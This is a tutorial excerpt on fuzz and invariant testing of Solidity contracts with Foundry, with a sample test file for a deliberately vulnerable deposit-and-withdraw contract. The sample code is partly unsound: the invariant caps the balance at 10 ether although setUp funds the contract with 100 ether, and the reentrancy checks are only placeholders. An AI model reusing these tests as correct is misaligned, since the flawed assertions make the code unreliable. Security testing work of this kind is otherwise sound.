Fuzzing & Property-Based Testing
Foundry (Foundry Forge Fuzzing): Built-in fuzzing capabilities for Solidity tests. This is a must-have for robust testing.
Write a Solidity test function starting with
testFuzz_...
and includeuint
,address
,bytes
,bytes32
(or arrays/structs of these) parameters. Forge will automatically fuzz these inputs within a specified range or domain.Example
MyContract.t.sol
(with more robust fuzzing assumptions):// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import {Test, console2} from "forge-std/Test.sol"; import {MyVulnerableContract} from "../src/MyVulnerableContract.sol"; // Adjust path as needed contract MyVulnerableContractTest is Test { MyVulnerableContract public contractInstance; function setUp() public { // Deploy the vulnerable contract for each test contractInstance = new MyVulnerableContract(); // Optionally, fund the contract for tests vm.deal(address(contractInstance), 100 ether); } // Fuzz test for deposit and withdrawal logic function testFuzz_DepositAndWithdraw(uint256 _depositAmount, uint256 _withdrawAmount, address _hacker) public { // Restrict input ranges for more meaningful fuzzing and to avoid OOG vm.assume(_depositAmount > 0 && _depositAmount <= 10 ether); // Max 10 ETH deposit vm.assume(_withdrawAmount > 0 && _withdrawAmount <= 10 ether); // Max 10 ETH withdraw vm.assume(_hacker != address(0)); vm.assume(_hacker != address(this)); // Prevent fuzzer from using test contract as hacker // Prank the transaction from the hacker's address vm.startPrank(_hacker); // Deposit phase vm.deal(_hacker, _depositAmount); // Ensure hacker has enough ETH to deposit contractInstance.deposit{value: _depositAmount}(); // Assert the balance is correctly updated after deposit assertEq(contractInstance.balances(_hacker), _depositAmount, "Deposit balance incorrect"); // Withdrawal phase - only if balance is sufficient if (contractInstance.balances(_hacker) >= _withdrawAmount) { uint256 hackerEthBalanceBeforeWithdraw = _hacker.balance; uint256 contractBalanceBeforeWithdraw = address(contractInstance).balance; contractInstance.withdraw(_withdrawAmount); // Assert balance is correctly updated to 0 (assuming full withdraw in victim example) // If victim's withdraw logic sets balance to 0, assert that. // For a more general withdraw function, assert: // assertEq(contractInstance.balances(_hacker), initial_balance - _withdrawAmount); // Check if hacker received ETH (reentrancy check would also go here) assertGe(_hacker.balance, hackerEthBalanceBeforeWithdraw + _withdrawAmount - 100); // Allow for gas cost // Check if contract's balance decreased assertEq(address(contractInstance).balance, contractBalanceBeforeWithdraw - _withdrawAmount); } else { // Test reverts for insufficient balance vm.expectRevert("No balance to withdraw"); // Or specific revert message contractInstance.withdraw(_withdrawAmount); } vm.stopPrank(); } // Invariant Test Example: Total supply should always remain constant (if no mint/burn) // or total balance across accounts should sum up to total supply function invariant_TotalSupplyConsistent() public { // This would be more complex for a real token contract // Here, let's assume `MyVulnerableContract` has a total supply, or some sum of balances. // For the victim contract, it doesn't have a concept of total supply, // but you could assert that the sum of all balances + contract's internal balance // should not exceed initial funds, or should be drained properly. // For a simple token, you would check `token.totalSupply()` // For a vault, sum of all deposits should equal vault balance // Example for Victim: No more than initial balance should be drained (unless reentrancy occurs) // This is where fuzzing helps find states where this invariant is broken. assertLe(address(contractInstance).balance, 10 ether, "Contract balance should not exceed initial"); // Or, if targeting reentrancy, an invariant would be: // assertEq(contractInstance.balances(hacker_after_withdraw), 0); // If it should be zero } // Fuzz test for access control: ensure only owner can set price function testFuzz_SetPriceAccessControl(uint256 _newPrice, address _randomAttacker) public { vm.assume(_randomAttacker != address(contractInstance.owner())); // Ensure attacker is not the owner vm.assume(_randomAttacker != address(0)); vm.startPrank(_randomAttacker); vm.expectRevert("Not owner"); // Assuming Product.sol uses onlyOwner which reverts with this msg contractInstance.setPrice(_newPrice); vm.stopPrank(); // Verify price remains unchanged by attacker attempt assertEq(contractInstance.price(), 1000000000000000000, "Price should not change by non-owner"); } }
Run fuzz tests:
forge test --match-path MyContract.t.sol -vvvv
(for verbose output)Run invariant tests:
forge test --match-test invariant_